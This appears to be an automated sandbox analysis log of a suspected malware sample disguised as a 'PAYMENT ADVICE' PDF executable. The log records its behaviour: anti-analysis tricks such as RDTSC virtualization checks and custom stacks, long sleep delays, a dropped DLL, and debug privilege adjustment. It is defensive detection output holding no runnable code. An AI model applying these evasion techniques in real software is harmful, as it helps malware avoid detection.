Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	API/Special instruction interceptor: Address: 369B717
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	API/Special instruction interceptor: Address: 245B717

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	RDTSC instruction interceptor: First address: 365C687 second address: 365C687 instructions: 0x00000000 rdtsc 0x00000002 test al, bl 0x00000004 test dh, ch 0x00000006 cmp ebx, ecx 0x00000008 jc 00007FF2E871E966h 0x0000000a inc ebp 0x0000000b inc ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	RDTSC instruction interceptor: First address: 241C687 second address: 241C687 instructions: 0x00000000 rdtsc 0x00000002 test al, bl 0x00000004 test dh, ch 0x00000006 cmp ebx, ecx 0x00000008 jc 00007FF2E8F227F6h 0x0000000a inc ebp 0x0000000b inc ebx 0x0000000c rdtsc

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Memory allocated: 34790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Memory allocated: 345C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599436	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599217	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598659	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598530	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598296	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597968	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597421	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596655	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595999	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595671	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595124	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 594796	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 594568	Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Window / User API: threadDelayed 1468			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Window / User API: threadDelayed 8384			Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

API coverage: 2.7 %

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -599874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8016	Thread sleep count: 1468 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8016	Thread sleep count: 8384 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -599436s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -599217s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -598999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -598659s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -598530s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -598406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -598296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -598187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -597968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -597859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -597750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -597640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -597531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -597421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -597312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -597203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -597093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -596984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -596875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -596765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -596655s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -596546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -596437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -596328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -596218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -595999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -595890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -595671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -595343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -595124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -595015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -594906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -594796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -594687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe TID: 8012	Thread sleep time: -594568s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 0_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405846
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 0_2_00406398 FindFirstFileW,FindClose,	0_2_00406398
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405846
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_004027FB FindFirstFileW,	4_2_004027FB
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_00406398 FindFirstFileW,FindClose,	4_2_00406398

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599436	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599217	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598659	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598530	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598296	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597968	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597421	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596655	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595999	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595671	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595124	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 594796	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Thread delayed: delay time: 594568	Jump to behavior

Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.0000000004038000.00000004.00000020.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.0000000004097000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	API call chain: ExitProcess graph end node			graph_0-3943
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	API call chain: ExitProcess graph end node			graph_0-3762

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Process created: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe "C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"

Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Queries volume information: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
